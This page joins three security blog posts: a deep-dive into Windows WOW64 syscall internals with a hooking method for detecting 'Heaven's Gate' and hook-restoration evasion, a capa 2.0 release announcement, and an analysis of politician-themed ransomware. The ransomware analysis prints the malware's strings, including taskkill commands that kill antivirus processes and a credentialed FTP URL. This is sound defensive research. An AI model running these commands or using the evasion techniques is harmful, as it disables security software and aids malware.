But they’re still out there, so it’s vital as always to follow good Wi-Fi security measures.
Microsoft is known for their backwards compatibility.
When they rolled out the 64-bit variant of Windows years ago they needed to provide compatibility with existing 32-bit applications.
In order to provide seamless execution regardless of application bitness, the WoW (Windows on Windows) system was coined.
This layer, which will be referred to as ‘WOW64’ from here on out, is responsible for translating all Windows API calls from 32-bit userspace to the 64-bit operating system kernel.
This blog post is broken up into two sections.
First we start by diving deep into the WOW64 system.
To do this, we trace a call from 32-bit userspace and follow the steps it takes to finally transition to the kernel.
The second part of the post assesses two hooking techniques and their effectiveness.
I will cover how this system works, the ways malware abuses it, and detail a mechanism by which all WoW syscalls can be hooked from userspace.
Note that all information here is true as of Windows 10, version 2004 and in some cases has changed from how previous Windows versions were implemented.
Recognition First and foremost, this is a topic which has existing research by multiple authors.
This work was critical in efficient exploration of the internals and research would have taken much longer had these authors not publicly posted their awesome work.
I would like to callout the following references: ( wbenny ):
An extremely detailed view of WOW64 internals on ARM ( ReWolf ): A PoC heaven’s gate implementation ( JustasMasiulis ): A very clean C++ heaven’s gate implementation ( MalwareTech ): A WOW64 segmentation explanation WOW64 Internals To understand how the WOW64 system works internally we will explore the call sequence starting in 32-bit usermode before transitioning into the kernel from within a system DLL.
Within these system DLLs the operating system will check arguments and eventually transition to a stub known as a syscall stub.
This syscall stub is responsible for servicing the API call in the kernel.
On a 64-bit system, the syscall stub is straightforward as it directly executes the syscall instruction as shown in Figure 1.
Figure 1: Native x64 Syscall Stub Figure 2 shows a syscall stub for a 32-bit process running on WOW64 Figure 2:
WOW64
Syscall Stub Notice that instead of a syscall instruction in the WOW64 version, Wow64SystemServiceCall is called.
In the WOW64 system what would normally be an entry into the kernel is instead replaced by a call to a usermode routine.
Following this Wow64SystemServiceCall , we can see in Figure 3 that it immediately performs an indirect jmp through a pointer named Wow64Transition .
Figure 3: Wow64SystemService transitions through a pointer ‘Wow64Transition’ Note that the Wow64SystemServiceCall function is found within ntdll labeled as ntdll_77550000; a WOW64 process has two ntdll modules loaded, a 32-bit one and a 64-bit one.
WinDbg differentiates between these two by placing the address of the module after the 32-bit variant.
The 64-bit ntdll can be found in %WINDIR%\\System32 and the 32-bit in %WINDIR%\\SysWOW64.
In the PDBs, the 64bit and 32bit ntdlls are referred to as ntdll.pdb and wntdll.pdb respectively, try loading them in a disassembler!
Continuing with the call trace, if we look at what the Wow64Transition pointer holds we can see its destination is wow64cpu!KiFastSystemCall .
As an aside, note that the address of wow64cpu!KiFastSystemCall is held in the 32-bit TEB (Thread Environment Block) via member WOW32Reserved, this isn’t relevant for this trace but is useful to know.
In Figure 4 we see the body of KiFastSystemCall .
Figure 4: KiFastSystemCall transitions to x64 mode via segment selector
0x33 The KiFastSystemCall performs a jmp using the 0x33 segment selector to a memory location just after the instruction.
This 0x33 segment transitions the CPU into 64-bit mode via a GDT entry as described by (MalwareTech).
Let's recap the trace we've performed to this point.
We started from a call in ntdll, NtResumeThread.
This function calls the Wow64SystemServiceCall function which then executes the Wow64Transition.
The KiFastSystemCall performs the transition from 32-bit to 64-bit execution.
The flow is shown in Figure 5.
Figure 5: 32-bit to 64-bit transition The destination of the CPU transition jump is the 64-bit code show in Figure 6.
Figure 6:
Destination of KiFastSystemCall Figure 6 shows the first 64-bit instruction we’ve seen executed in this call trace so far.
In order to understand it, we need to look at how the WOW64 system initializes itself.
For a detailed explanation of this refer to (wbenny).
For now, we can look at the important parts in wow64cpu!RunSimulatedCode .
Figure 7: 64bit registers are saved in RunSimulatedCode Figure 7 depicts the retrieval of the 64-bit TEB which is used to access Thread Local Storage at slot index 1.
Then the moving of a function pointer table into register r15.
The TLS data retrieved is an undocumented data structure WOW64_CPURESERVED that contains register data and CPU state information used by the WOW64 layer to set and restore registers across the 32-bit and 64-bit boundaries.
Within this structure is the WOW64_CONTEXT structure, partially documented on the Microsoft website .
I have listed both structures at the end of this post.
We’ll look at how this context structure is used later, but for our understanding of the jmp earlier all we need to know is that r15 is a function pointer table.
It’s interesting to note at this point the architecture of the WOW64 layer.
From the perspective of the 64-bit kernel the execution of 32-bit (Wow64) usermode applications is essentially a big while loop.
The loop executes x86 instructions in the processor's 32-bit execution mode and occasionally exits the loop to service a system call.
Because the kernel is 64-bit, the processor mode is temporarily switched to 64-bit, the system call serviced, then the mode switched back and the loop continued where it was paused.
One could say the WOW64 layer acts like an emulator where the instructions are instead executed on the physical CPU.
Going back to the jmp instruction we saw in Figure 6, we now know what is occurring.
The instruction jmp [r15 + 0xF8] is equivalent to the C code jmp TurboThunkDispatch[0xF8 / sizeof(uint64_t)].
Looking at the function pointer at this index we can see we’re at the function wow64cpu!CpupReturnFromSimulatedCode (Figure 8).
Figure 8: TurboThunk table's last function pointer entry is an exit routine
This routine is responsible for saving the state of the 32-bit registers into the WOW64_CONTEXT structure we mentioned before as well as retrieving the arguments for the syscall.
There is some trickiness going on here, so let’s examine this in detail.
First a pointer to the stack is moved into r14 via xchg, the value at this location will be the return address from the syscall stub where Wow64SystemServiceCall was called.
The stack pointer r14 is then incremented by 4 to get a pointer to where the stack should be reset when it’s time to restore all these context values.
These two values are then stored in the context’s EIP and ESP variables respectively.
The r14 stack pointer is then incremented one more time to get the location where the __stdcall arguments are (remember stdcall passes all arguments on the stack).
This argument array is important for later, remember it.
The arguments pointer is moved into r11, so in C this means that r11 is equivalent to an array of stack slots where each slot is an argument uint32_t r11[argCount].
The rest of the registers and EFlags are then saved.
Once the 32-bit context is saved, the WOW64 layer then calculates the appropriate TurboThunk to invoke by grabbing the upper 16 bits of the syscall number and dispatches to that thunk.
Note that at the beginning of this array is the function TurboDispatchJumpAddressEnd , shown in Figure 9, which is invoked for functions that do not support TurboThunks.
Figure 9: TurboThunk table's first function pointer entry is an entry routine TurboThunks are described by (wbenny)—read his blog post at this point if you have not.
To summarize the post, for functions that have simple arguments with widths <= sizeof(uint32_t) the WOW64 layer will directly widen these arguments to 64 bits via zero or sign-extension and then perform a direct syscall into the kernel.
This all occurs within wow64cpu, rather than executing a more complex path detailed as follows.
This acts as an optimization.
For more complex functions that do not support TurboThunks the TurboDispatchJumpAddressEnd stub is used which dispatches to wow64!SystemServiceEx to perform the system call as shown in Figure 10.
Figure 10: Complex system calls go through Wow64SystemServiceEx We’ll look at this routine in a moment as it’s the meat of this blog post, but for now let’s finish this call trace.
Once Wow64SystemServiceEx returns from doing the system call the return value in eax is moved into the WOW64_CONTEXT structure and then the 32-bit register states are restored.
There’s two paths for this, a common case and a case that appears to exist only to be used by NtContinue and other WOW64 internals.
A flag at the start of the WOW64_CPURESERVED structure retrieved from the TLS slot is checked, and controls which restore path to follow as shown in Figure 11.
Figure 11: CPU state is restored once the system call is done; there’s a simple path and a complex one handling XMM registers The simpler case will build a jmp that uses the segment selector 0x23 to transition back to 32-bit mode after restoring all the saved registers in the WOW64_CONTEXT .
The more complex case will additionally restore some segments, xmm values, and the saved registers in the WOW64_CONTEXT structure and then will do an iret to transition back.
The common case jmp once built is shown in Figure 12.
Figure 12: Dynamically built jmp to transition back to 32bit mode
At this point our call trace is complete.
The WOW64 layer has transitioned back to 32-bit mode and will continue execution at the ret after Wow64SystemServiceCall in the syscall stub we started with.
Now that an understanding of the flow of the WOW64 layer itself is understood, let’s examine the Wow64SystemServiceEx call we glossed over before.
A little bit into the Wow64SystemServiceEx routine, Figure 13 shows some interesting logic that we will use later.
Figure 13:
Logging routines invoked before and after dispatching the syscalls The routine starts by indexing into service tables which hold pointers to routines that convert the passed argument array into the wider 64-bit types expected by the regular 64-bit system modules.
This argument array is exactly the stack slot that was stored earlier in r14.
Two calls to the LogService function exist, however these are only called if the DLL %WINDIR%\\system32\\wow64log.dll is loaded and has the exports Wow64LogInitialize, Wow64LogSystemService, Wow64LogMessageArgList, and Wow64LogTerminate.
This DLL is not present on Windows by default, but it can be placed there with administrator privileges.
The next section will detail how this logging DLL can be used to hook syscalls that transition through this wow64layer.
Because the logging routine LogService is invoked before and after the syscall is serviced we can achieve a standard looking inline hook style callback function capable of inspecting arguments and return values.
Bypassing Inline Hooks As described in this blog post, Windows provides a way for 32-bit applications to execute 64-bit syscalls on a 64-bit system using the WOW64 layer.
However, the segmentation switch we noted earlier can be manually performed, and 64-bit shellcode can be written to setup a syscall.
This technique is popularly called “Heaven’s Gate”.
JustasMasiulis’ work call_function64 can be used as a reference to see how this may be done in practice (JustasMasiulis).
When system calls are performed this way the 32-bit syscall stub that the WOW64 layer uses is completely skipped in the execution chain.
This is unfortunate for security products or tracing tools because any inline hooks in-place on these stubs are also bypassed.
Malware authors know this and utilize “Heaven’s Gate” as a bypass technique in some cases.
Figure 14 and Figure 15 shows the execution flow of a regular syscall stub through the WOW64 layer, and hooked syscall stub where malware utilizes “Heaven’s Gate”.
Figure 14: NtResumeThread transitioning through the WOW64 layer Figure 15: NtResumeThread inline hook before transitioning through the WOW64 layer As seen in Figure 15, when using the Heaven’s Gate technique, execution begins after the inline hook and WOW64 layer is done.
This is an effective bypass technique, but one that is easy to detect from a lower level such as a driver or hypervisor.
The easiest bypass to inline hooks is simply to restore the original function bytes, usually from bytes on disk.
Malware such as AgentTesla and Conti has been known to utilize this last evasion technique.
Hooking WOW64 via Inline Hooks As a malware analyst being able to detect when samples attempt to bypass the WOW64 layer can be very useful.
The obvious technique to detect this is to place inline hooks on the 64-bit syscall stubs as well as the 32-bit syscall stubs.
If the 64-bit hook detects an invocation that didn’t also pass through the 32-bit hook, then it’s known that a sample is utilizing Heaven’s Gate.
This technique can detect both evasion techniques previously detailed.
However, in practice this is very difficult to implement.
Looking at the requirements that must be satisfied to hook the 64-bit syscall stub we come up with this list: Install 64-bit hook from a 32-bit module How do you read/write 64-bit address space from a 32-bit module?
Implement a 64-bit callback from a 32-bit module Typically, inline hooking uses C functions as callback stubs, but we’re compiling a 32-bit module so we’ll have a 32-bit callback instead of the required 64-bit one.
To solve the first challenge ntdll kindly provides the exports NtWow64ReadVirtualMemory64 , NtWow64WriteVirtualMemory64 , and NtWow64QueryInformationProcess64 .
Using these it is possible to read memory, write memory, and retrieve the PEB of a 64-bit module from a 32-bit process.
However, the second challenge is much harder as either shellcode or a JIT will be required to craft a callback stub of the right bitness.
In practice ASMJIT may be utilized for this.
This is however a very tedious technique to trace a large number of APIs.
There are other challenges to this technique as well.
For example, in modern Windows 10 the base address of ntdll64 is set to a high 64-bit address rather than a lower 32-bit address as in Windows 7.
Due to this, supporting returns from callbacks back up to the original hooked stub and allocating a trampoline within the required memory range is difficult since the standard ret instruction doesn’t have enough bits on the stack to represent the 64-bit return address.
As an aside, it should be noted that the WOW64 layer contains what is likely a bug when dealing with the NtWow64* functions.
These APIs all take a HANDLE as first argument, which should be sign extended to 64-bits.
However, this does not occur for these APIs, therefore when using the pseudo handle -1
the call fails with STATUS_INVALID_HANDLE .
This bug was introduced in an unknown Windows 10 version.
To successfully use these APIs OpenProcess must be used to retrieve a real, positive valued handle.
I will not be covering the internals of how to inline hook the 64-bit syscall stub since this post is already very long.
Instead I will show how my hooking library PolyHook2 can be extended to support cross-architecture hooking using these Windows APIs, and leave the rest as an exercise to the reader.
This works because PolyHook’s trampolines are not limited to +-2GB and do not spoil registers.
The internals of how that is achieved is a topic for another post.
Figure 16 depicts how to overload the C++ API of polyhook to read/write memory using the aforementioned WinAPIs.
Figure 16: Overloading the memory operations to read/write/protect 64-bit memory Once these inline hooks are in-place on the 64-bit syscall stubs, any application utilizing Heaven’s Gate will be properly intercepted.
This hooking technique is very invasive and complicated and can still be bypassed if a sample was to directly execute a syscall instruction rather than using the 64-bit module’s syscalls stub.
Therefore, a driver or hypervisor is more suitable to detect this evasion technique.
Instead we can focus on the more common byte restoration evasion techniques and look for a way to hook the WOW64 layer itself.
This doesn’t involve assembly modifications at all.
Hooking WOW64 via LogService Thinking back to the WOW64 layer’s execution flow we know that all calls which are sent through the Wow64SystemServiceEx routine may invoke the routine Wow64LogSystemService if the logging DLL is loaded.
We can utilize this logging DLL and routine to implement hooks which can be written the exact same way as inline hooks, without modifying any assembly.
The first step to implementing this is to force all API call paths through the Wow64SystemServiceEx routine so that the log routine may be called.
Remember earlier that those that support TurboThunks will not take this path.
Lucky for us we know that any TurboThunk entry that points to TurboDispatchJumpAddressEnd will take this path.
Therefore, by pointing every entry in the TurboThunk table to point at that address, the desired behavior is achieved.
Windows kindly implements this patching via wow64cpu!BTCpuTurboThunkControl as shown in Figure 17.
Figure 17:
Patching the TurboThunk table is implemented for us Note that in previous Windows versions the module which exported this and how it did is different to Windows 10, version 2004.
After invoking this patch routine all syscall paths through WOW64 go through Wow64SystemServiceEx and we can focus on crafting a logging DLL that man-in-the-middles (MITMs) all calls.
There are a couple of challenges to be considered here: How do we determine which system call is currently occurring from the logging DLL?
How are callbacks written?
Wow64log is 64-bit DLL, we’d like a 32-bit callback.
Is shellcode required, or can we make nice C style function callbacks?
What APIs may we call?
All that’s loaded is 64-bit ntdll.
The first concern is rather easy, from within the wow64log DLL we can read the syscall number from the syscall stubs to create a map of number to name.
This is possible because syscall stubs always start with the same assembly and the syscall number is at a static offset of 0x4.
Figure 18 shows how we can then compare the values in this map against the syscall number passed to Wow64LogSystemService ’s parameter structure WOW64_LOG_SERVICE .
typedef uint32_t* WOW64_ARGUMENTS; struct WOW64_LOG_SERVICE { uint64_t BtLdrEntry; WOW64_ARGUMENTS Arguments; ULONG ServiceTable; ULONG ServiceNumber; NTSTATUS Status; BOOLEAN PostCall; }; EXTERN_C __declspec(dllexport) NTSTATUS NTAPI Wow64LogSystemService(WOW64_LOG_SERVICE* service) { for (uint32_t i = 0; i < LAST_SYSCALL_ID; i++) { const char* sysname = SysCallMap[i].name; uint32_t syscallNum = SysCallMap[i].SystemCallNumber; if (ServiceParameters->ServiceNumber != syscallNum) continue; //LOG sysname } } Figure 18:
Minimal example of determining which syscall is occurring—in practice the service table must be checked too Writing callbacks is a bit more challenging.
The wow64log DLL is executing in 64-bit mode and we’d like to be able to write callbacks in 32-bit mode since it’s very easy to load additional 32-bit modules into a WOW64 process.
The best way to handle this is to write shellcode which is capable of transitioning back to 32-bit mode, execute the callback, then go back to 64-bit mode to continue execution in the wow64log DLL.
The segment transitions themselves are rather easy at this point, we know we just need to use 0x23 or 0x33 segment selectors when jumping.
But we also need to deal with the calling convention differences between 64-bit and 32-bit.
Our shellcode will therefore be responsible for moving 64-bit arguments’ register/stack slots to the 32-bit arguments register/stack slots.
Enforcing that 32-bit callbacks may only be __cdecl makes this easier as all arguments are on the stack and the shellcode has full control of stack layout and cleanup.
Figure 19 shows the locations of the arguments for each calling convention.
Once the first 4 arguments are relocated all further arguments can be moved in a loop since it’s simply moving stack values into lower slots.
This is relatively easy to implement using external masm files in MSVC.
Raw bytes will need to be emitted at points rather than using the assembler due to the mix of architectures.
Alternatively, GCC or Clang inline assembly could be used.
ReWolf’s work achieves the opposite direction of 32-bit -> 64-bit and implements the shellcode via msvc inline asm.
X64 MSVC doesn’t support this and there are complications with REX prefixes when using that method.
It’s nicer to use external masm files and rely on the linker to implement this shellcode.
Arg Number Cdecl Location Fastcall Location Special Case?
0
[ebp + 8] rcx
Yes 1 [ebp + 12] rdx
Yes 2 [ebp + 16] r8d Yes 3 [ebp + 20] r9d Yes 4 [ebp + 24] [rbp + 32 + 8]
No 5 [ebp + 28] [rbp + 32 + 16]
No 6 [ebp + 32] [rbp + 32 + 24]
No Figure 19:
Cdecl vs Fastcall argument positions Once this shellcode is written and wrapped into a nice C++ function, it’s possible for the wow64log DLL to invoke the callback via a simple C style function pointer call shown in Figure 20.
Figure 20: call_function32 invokes shellcode to call a 32-bit callback from the 64-bit logging DLL From within the 32-bit callback any desired MITM operations can be performed, but restrictions exist on which APIs are callable.
Due to the context saving that the WOW64 layer performs, 32-bit APIs that would re-enter the WOW64 layer may not be called as the context values would be corrupted.
We are therefore limited to only APIs that won’t re-enter WOW64, which are those that are exported from the 64-bit ntdll.
The NtWriteFile export may be used to easily write to stdout or a file, but we must re-enter the 64-bit execution mode and do the inverse argument mapping as before.
This logging routine can be called from within the 32-bit callbacks and is shown in Figure 21 and Figure 22.
Figure 21: call_function64 invokes shellcode to call the 64bit WriteFile from with the 32bit callback Figure 22: 32bit callbacks must log via routines that only call non-reentrant WOW64 APIs
The result is clean looking callback stubs that function exactly how inline hooks might, but with zero assembly modifications required.
Arguments can easily be manipulated as well, but the return status may not be modified unless a little stack walk hackery is implemented.
The only other consideration is that the wow64log DLL itself needs to be carefully crafted to not build with any CRT mechanisms.
The flags required are: Disable CRT with /NODEFAULT LIB (all C APIs now unavailable), set a new entry point name to not init CRT NtDllMain Disable all CRT security routines /GS-
Disable C++ exceptions Remove default linker libraries, only link ntdll.lib Use extern “C” __declspec(dllimport)
<typedef> to link against the correct NtApis An example of a program hooking its own system calls via wow64log inline hooks is shown in Figure 23.
Figure 23:
Demonstration of inline hooks in action Conclusion Using inline WOW64 hooks, wow64log hooks, and kernel/hypervisor hooks, all techniques of usermode hook evasion can be identified easily and automatically.
Detecting which layers of hooks are skipped or bypassed will give insight into which evasion technique is employed.
The identifying table is: Evasion Mode 32bit Inline wow64Log 64bit Inline Kernel/Hypervisor Prologue Restore ❌ ✔ ✔ ✔ Heavens Gate sys-stub ❌ ❌
✔ ✔ Heavens Gate direct syscall ❌ ❌
❌
✔ Structure Appendix struct _WOW64_CPURESERVED { USHORT Flags; USHORT MachineType; WOW64_CONTEXT Context; char ContextEx[1024]; }; typedef ULONG *WOW64_LOG_ARGUMENTS; struct _WOW64_SYSTEM_SERVICE { unsigned __int32 SystemCallNumber : 12; unsigned __int32 ServiceTableIndex : 4; unsigned __int32 TurboThunkNumber : 5; unsigned __int32 AlwaysZero : 11; }; #pragma pack(push, 1) struct _WOW64_FLOATING_SAVE_AREA { DWORD ControlWord; DWORD StatusWord; DWORD TagWord; DWORD ErrorOffset; DWORD ErrorSelector; DWORD DataOffset; DWORD DataSelector; BYTE RegisterArea[80]; DWORD Cr0NpxState; }; #pragma pack(pop) #pragma pack(push, 1) struct _WOW64_CONTEXT { DWORD ContextFlags; DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; WOW64_FLOATING_SAVE_AREA FloatSave; DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; DWORD Ebp; DWORD Eip; DWORD SegCs; DWORD EFlags; DWORD Esp; DWORD SegSs; BYTE ExtendedRegistersUnk[160]; M128A Xmm0; M128A Xmm1; M128A Xmm2;
M128A Xmm3; M128A Xmm4; M128A Xmm5; M128A Xmm6; M128A Xmm7; M128A Xmm8; M128A Xmm9; M128A Xmm10; M128A Xmm11; M128A Xmm12; M128A Xmm13; M128A Xmm14; M128A Xmm15; }; #pragma pack(pop) Subscribe to Blogs Get email updates as new blog posts are added.
We are excited to announce version 2.0 of our open-source tool called capa.
capa automatically identifies capabilities in programs using an extensible rule set.
The tool supports both malware triage and deep dive reverse engineering.
If you haven’t heard of capa before, or need a refresher, check out our first blog post .
You can download capa 2.0 standalone binaries from the project’s release page and checkout the source code on GitHub .
capa 2.0 enables anyone to contribute rules more easily, which makes the existing ecosystem even more vibrant.
This blog post details the following major improvements included in capa 2.0: New features and enhancements for the capa explorer IDA Pro plugin, allowing you to interactively explore capabilities and write new rules without switching windows More concise and relevant results via identification of library functions using FLIRT and the release of accompanying open-source FLIRT signatures Hundreds of new rules describing additional malware capabilities, bringing the collection up to 579 total rules, with more than half associated with ATT&CK techniques Migration to Python 3, to make it easier to integrate capa with other projects capa explorer and Rule Generator capa explorer is an IDAPython plugin that shows capa results directly within IDA Pro.
The version 2.0 release includes many additions and improvements to the plugin, but we'd like to highlight the most exciting addition: capa explorer now helps you write new capa rules directly in IDA Pro!
Since we spend most of our time in reverse engineering tools such as IDA Pro analyzing malware, we decided to add a capa rule generator.
Figure 1 shows the rule generator interface.
Figure 1: capa explorer rule generator interface Once you’ve installed capa explorer using the Getting Started guide, open the plugin by navigating to Edit > Plugins > FLARE capa explorer .
You can start using the rule generator by selecting the Rule Generator tab at the top of the capa explorer pane.
From here, navigate your IDA Pro Disassembly view to the function containing a technique you'd like to capture and click the Analyze button.
The rule generator will parse, format, and display all the capa features that it finds in your function.
You can write your rule using the rule generator's three main panes:
Features , Preview , and Editor .
Your first step is to add features from the Features pane.
The Features pane is a tree view containing all the capa features extracted from your function.
You can filter for specific features using the search bar at the top of the pane.
Then, you can add features by double-clicking them.
Figure 2 shows this in action.
Figure 2: capa explorer feature selection As you add features from the Features pane, the rule generator automatically formats and adds them to the Preview and Editor panes.
The Preview and Editor panes help you finesse the features that you've added and allow you to modify other information like the rule's metadata.
The Editor pane is an interactive tree view that displays the statement and feature hierarchy that forms your rule.
You can reorder nodes using drag-and-drop and edit nodes via right-click context menus.
To help humans understand the rule logic, you can add descriptions and comments to features by typing in the Description and Comment columns.
The rule generator automatically formats any changes that you make in the Editor pane and adds them to the Preview pane.
Figure 3 shows how to manipulate a rule using the Editor pane.
Figure 3: capa explorer editor pane The Preview pane is an editable textbox containing the final rule text.
You can edit any of the text displayed.
The rule generator automatically formats any changes that you make in the Preview pane and adds them to the Editor pane.
Figure 4 shows how to edit a rule directly in the Preview pane.
Figure 4: capa explorer preview pane As you make edits the rule generator lints your rule and notifies you of any errors using messages displayed underneath the Preview pane.
Once you've finished writing your rule you can save it to your capa rules directory by clicking the Save button.
The rule generator saves exactly what is displayed in the Preview pane.
It’s that simple!
We’ve found that using the capa explorer rule generator significantly reduces the amount of time spent writing new capa rules.
This tool not only automates most of the rule writing process but also eliminates the need to context switch between IDA Pro and your favorite text editor allowing you to codify your malware knowledge while it’s fresh in your mind.
To learn more about capa explorer and the rule generator check out the README .
Library Function Identification Using FLIRT As we wrote hundreds of capa rules and inspected thousands of capa results, we recognized that the tool sometimes shows distracting results due to embedded library code.
We believe that capa needs to focus its attention on the programmer’s logic and ignore supporting library code.
For example, highly optimized C/C++ runtime routines and open-source library code enable a programmer to quickly build a product but are not the product itself .
Therefore, capa results should reflect the programmer’s intent for the program rather than a categorization of every byte in the program.
Compare the capa v1.6 results in Figure 5 versus capa v2.0 results in Figure 6.
capa v2.0 identifies and skips almost 200 library functions and produces more relevant results.
Figure 5: capa v1.6 results without library code recognition Figure 6: capa v2.0 results ignoring library code functions
So, we searched for a way to differentiate a programmer’s code from library code.
After experimenting with a few strategies, we landed upon the Fast Library Identification and Recognition Technology (FLIRT) developed by Hex-Rays .
Notably, this technique has remained stable and effective since 1996, is fast, requires very limited code analysis, and enjoys a wide community in the IDA Pro userbase.
We figured out how IDA Pro matches FLIRT signatures and re-implemented a matching engine in Rust with Python bindings .
Then, we built an open-source signature set that covers many of the library routines encountered in modern malware.
Finally, we updated capa to use the new signatures to guide its analysis.
capa uses these signatures to differentiate library code from a programmer’s code.
While capa can extract and match against the names of embedded library functions, it will skip finding capabilities and behaviors within the library code.
This way, capa results better reflect the logic written by a programmer.
Furthermore, library function identification drastically improves capa runtime performance: since capa skips processing of library functions, it can avoid the costly rule matching steps across a substantial percentage of real-world functions.
Across our testbed of 206 samples, 28% of the 186,000 total functions are recognized as library code by our function signatures.
As our implementation can recognize around 100,000 functions/sec, library function identification overhead is negligible and capa is approximately 25% faster than in 2020!
Finally, we introduced a new feature class that rule authors can use to match recognized library functions: function-name .
This feature matches at the file-level scope.
We’ve already started using this new capability to recognize specific implementations of cryptography routines, such as AES provided by Crypto++ , as shown in the example rule in Figure 7.
Figure 7:
Example rule using function-name to recognize AES via Crypto++ As we developed rules for interesting behaviors, we learned a lot about where uncommon techniques are used legitimately.
For example, as malware analysts, we most commonly see the cpuid instruction alongside anti-analysis checks, such as in VM detection routines.
Therefore, we naively crafted rules to flag this instruction.
But, when we tested it against our testbed, the rule matched most modern programs because this instruction is often legitimately used in high-optimized routines, such as memcpy , to opt-in to newer CPU features.
In hindsight, this is obvious, but at the time it was a little surprising to see cpuid in around 15% of all executables.
With the new FLIRT support, capa recognizes the optimized memcpy routine embedded by Visual Studio and won’t flag the embedded cpuid instruction, as its not part of the programmer’s code.
When a user upgrades to capa 2.0, they’ll see that the tool runs faster and provides more precise results.
Signature Generation To provide the benefits of python-flirt to all users (especially those without an IDA Pro license) we have spent significant time to create a comprehensive FLIRT signature set for the common malware analysis use-case.
The signatures come included with capa and are also available at our GitHub under the Apache 2.0 license.
We believe that other projects can benefit greatly from this.
For example, we expect the performance of FLOSS to improve once we’ve incorporated library function identification.
Moreover, you can use our signatures with IDA Pro to recognize more library code.
Our initial signatures include: From Microsoft Visual Studio (VS), for all major versions from VS6 to VS2019: C and C++ run-time libraries Active Template Library (ATL) and Microsoft Foundation Class (MFC) libraries
The following open-source projects as compiled with VS2015, VS2017, and VS2019:
CryptoPP curl Microsoft Detours Mbed TLS (previously PolarSSL) OpenSSL zlib Identifying and collecting the relevant library and object files took a lot of work.
For the older VS versions this was done manually.
For newer VS versions and the respective open-source projects we were able to automate the process using vcpgk and Docker.
We then used the IDA Pro FLAIR utilities to convert gigabytes of executable code into pattern files and then into signatures.
This process required extensive research and much trial and error.
For instance, we spent two weeks testing and exploring the various FLAIR options to understand the best combination.
We appreciate Hex-Rays for providing high-quality signatures for IDA Pro and thank them for sharing their research and tools with the community.
To learn more about the pattern and signature file generation check out the siglib repository.
The FLAIR utilities are available in the protected download area on Hex-Rays’ website .
Rule Updates Since the initial release, the community has more than doubled the total capa rule count from 260 to over 570 capability detection rules !
This means that capa recognizes many more techniques seen in real-world malware, certainly saving analysts time as they reverse engineer programs.
And to reiterate, we’ve surfed a wave of support as almost 30 colleagues from a dozen organizations have volunteered their experience to develop these rules.
Thank you!
Figure 8 provides a high-level overview of capabilities capa currently captures, including: Host Interaction describes program functionality to interact with the file system, processes, and the registry Anti-Analysis describes packers, Anti-VM, Anti-Debugging, and other related techniques Collection describes functionality used to steal data such as credentials or credit card information Data Manipulation describes capabilities to encrypt, decrypt, and hash data Communication describes data transfer techniques such as HTTP, DNS, and TCP Figure 8:
Overview of capa rule categories More than half of capa’s rules are associated with a MITRE ATT&CK technique including all techniques introduced in ATT&CK version 9 that lie within capa’s scope.
Moreover, almost half of the capa rules are currently associated with a Malware Behavior Catalog (MBC) identifier.
For more than 70% of capa rules we have collected associated real-world binaries.
Each binary implements interesting capabilities and exhibits noteworthy features.
You can view the entire sample collection at our capa test files GitHub page .
We rely heavily on these samples for developing and testing code enhancements and rule updates.
Python 3 Support Finally, we’ve spent nearly three months migrating capa from Python 2.7 to Python 3.
This involved working closely with vivisect and we would like to thank the team for their support.
After extensive testing and a couple of releases supporting two Python versions, we’re excited that capa 2.0 and future versions will be Python 3 only.
Conclusion Now that you’ve seen all the recent improvements to capa, we hope you’ll upgrade to the newest capa version right away!
Thanks to library function identification capa will report faster and more relevant results.
Hundreds of new rules capture the most interesting malware functionality while the improved capa explorer plugin helps you to focus your analysis and codify your malware knowledge while it’s fresh.
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By Christiaan Beek and Raj Samani on Sep 17, 2018 Politics and ransomware .
No, it’s not a lost single from the Oasis back catalogue, but in fact a relatively recent tactic by ransomware developers looking to exploit the profiles of major politicians to install ransomware on victims’ computers.
Donald Trump, Angela Merkel, and now Barack Obama all serve as lures for the unsuspecting.
Despite its claims, does the “Obama campaign” deliver the ransomware it advertises?
Well, perhaps not.
The Obama campaign Recently identified by the MalwareHunterTeam and documented by Bleeping Computer, the Obama campaign displayed some confusing characteristics.
For example, it encrypted only .exe files and asked for a tip to decrypt the files.
This campaign does not behave like normal ransomware variants, which typically target user data files rather than .exe files.
This unorthodoxy got us thinking: Was there a nation-state behind this campaign?
At present, there is not enough evidence to confirm its source, although the language resources are in simplified Chinese.
We discovered the following graph inside the ransomware: As the MalwareHunterTeam documented, the ransomware attempts to kill processes associated with certain antimalware products: .rdata:004DAC80
0000001B C taskkill /f /im kavsvc.exe .rdata:004DAC9B 00000019
C taskkill /f /im
KVXP.kxp .rdata:004DACB4 00000018
C taskkill /f /im
Rav.exe .rdata:004DACCC
0000001B C taskkill /f /im Ravmon.exe .rdata:004DACE7
0000001D C taskkill /f /im Mcshield.exe .rdata:004DAD04
0000001D C taskkill /f /im
VsTskMgr.exe .rdata:004DAD21
00000024
C SOFTWARE\\\\360Safe\\\\safemon\\\\ExecAccess .rdata:004DAD45
00000023
C SOFTWARE\\\\360Safe\\\\safemon\\\\MonAccess .rdata:004DAD68 00000024
C SOFTWARE\\\\360Safe\\\\safemon\\\\SiteAccess .rdata:004DAD8C
00000025
C SOFTWARE\\\\360Safe\\\\safemon\\\\UDiskAccess Note, however, that the access protection enabled within McAfee software prevented the termination of this process: These curiosities made us wonder about the purpose of the ransomware.
Was this indeed ransomware and, if so, why encrypt only .exe files?
Our initial suspicions were immediately confirmed when we found a cryptocurrency coin mining component within the malware.
In fact, the miner sample was almost identical to the ransomware component, with almost 80% code reuse.
These similarities are highlighted below.
Executable extension search function: Code flow in the “Obama campaign” ransomware.
Code flow in the coin miner sample.
We also found this URL pointing to an FTP server: FtpMoney812345 db ‘ftp://money8:12345678@xxxxxxxxxx.net/88.txt The Trump campaign A ransomware campaign leveraging images of Donald Trump has been previously documented.
Is it possible that the two politicians are aligned with the same cybercriminal group looking to exploit their profiles?
As previously reported, this variant was only a development version—encrypting files with AES and using the following .encrypted extension: However, this ransomware can “decrypt” the files if one clicks on an “unlock files” button.
Code referencing decryption by button click: And for unlocking files: The Angela Merkel campaign The use of Angela Merkel and her profile is new to the discussion.
“Her” campaign encrypts files using the .angelamerkel extension.
The original name of this ransomware was ChromeUpadter.exe; it also uses AES to encrypt files.
It employs the Euro in its ransom demands.
Perhaps a European figure evokes the Euro?
This ransomware encrypts the following files: Malware developers are fond of exploiting famous names to lure unsuspecting victims.
